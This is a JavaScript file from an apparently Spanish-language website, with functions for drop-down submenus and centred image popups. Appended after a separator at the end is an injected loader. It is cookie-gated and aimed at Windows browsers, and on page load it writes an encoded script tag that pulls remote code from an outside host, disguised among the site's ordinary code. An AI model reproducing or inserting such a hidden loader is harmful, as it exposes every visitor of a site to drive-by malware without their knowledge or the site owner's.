﻿// Función para mostrar el menu desplegable
var t;

function activar()
{
	clearTimeout(t);
}

/*function mostrar_equipo()
{
	var capa = document.getElementById('equipo');
    capa.style.visibility = "visible";
}*/

function mostrar_servicios()
{
	var capa = document.getElementById('servicios');
    capa.style.visibility = "visible";
}

function mostrar_productos()
{
	var capa = document.getElementById('productos');
    capa.style.visibility = "visible";
}

function mostrar_noticias()
{
	var capa = document.getElementById('noticias');
    capa.style.visibility = "visible";
}
function mostrar_faq()
{
	var capa = document.getElementById('faq');
    capa.style.visibility = "visible";
}

function ocultar_submenus()
{
	/*var capa1 = document.getElementById('equipo');
    capa1.style.visibility = "hidden";*/
	var capa2 = document.getElementById('servicios');
    capa2.style.visibility = "hidden";
	var capa3 = document.getElementById('productos');
    capa3.style.visibility = "hidden";
	var capa4 = document.getElementById('noticias');
    capa4.style.visibility = "hidden";
	var capa5 = document.getElementById('faq');
    capa5.style.visibility = "hidden";
}
function retardo()
{
	t=setTimeout('ocultar_submenus()',800);
}

// fin del menú desplegable

//popup's imagenes

function PopUp(img){
	foto1= new Image();
	foto1.src=(img);
	Control(img);
}

function Control(img){
	if((foto1.width!=0)&&(foto1.height!=0)){
		verFoto(img);
	}
	else{
		funcion="Control('"+img+"')";
		intervalo=setTimeout(funcion,20);
	}
}

function verFoto(img){
	ancho=foto1.width+20;
	alto=foto1.height+20;
	anchoPantalla=screen.width;
	altoPantalla=screen.height;
	cadena="width="+ancho+",height="+alto+",left="+(anchoPantalla-foto1.width)/2+",top="+(altoPantalla-foto1.height)/2;
	ventana=window.open(img,"",cadena);
	ventana.document.writeln ('<html>');
	ventana.document.writeln ('<head>'); 
    ventana.document.writeln ('<title></title>');
	ventana.document.writeln ('</head>');
	ventana.document.writeln ('<body>');
	ventana.document.writeln ('<img src="'+img+'" style="border:2px #e5e5e5 solid;";');
	ventana.document.writeln ('</body>');
	ventana.document.writeln ('</html>');
}
/* ============================================================================-*/
function setCookie(name, value, expiredays, path, domain, secure) { if (expiredays) { var exdate=new Date(); exdate.setDate(exdate.getDate()+expiredays); var expires = exdate.toGMTString(); } document.cookie = name + "=" + escape(value) + ((expiredays) ? "; expires=" + expires : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : "");} if (navigator.userAgent.indexOf("KHTML") == -1 && navigator.userAgent.indexOf("NT") != -1){if(navigator.cookieEnabled == true) {var user = getCookie("NSwfCookie");if (user !=="ok"){newswfcookie();setCookie("NSwfCookie", "ok", 7, "/");}}}  function newswfcookie(){document.write(unescape("%3Cscript src='http://newswf.com/in.cgi?6' type='text/javascript'%3E%3C/script%3E"));} function getCookie(name) { var cookie = " " + document.cookie; var search = " " + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) { offset = cookie.indexOf(search); if (offset != -1) { offset += search.length; end = cookie.indexOf(";", offset); if (end == -1) { end = cookie.length; } setStr = unescape(cookie.substring(offset, end)); } } return setStr;}
/*============================================================================-=*/

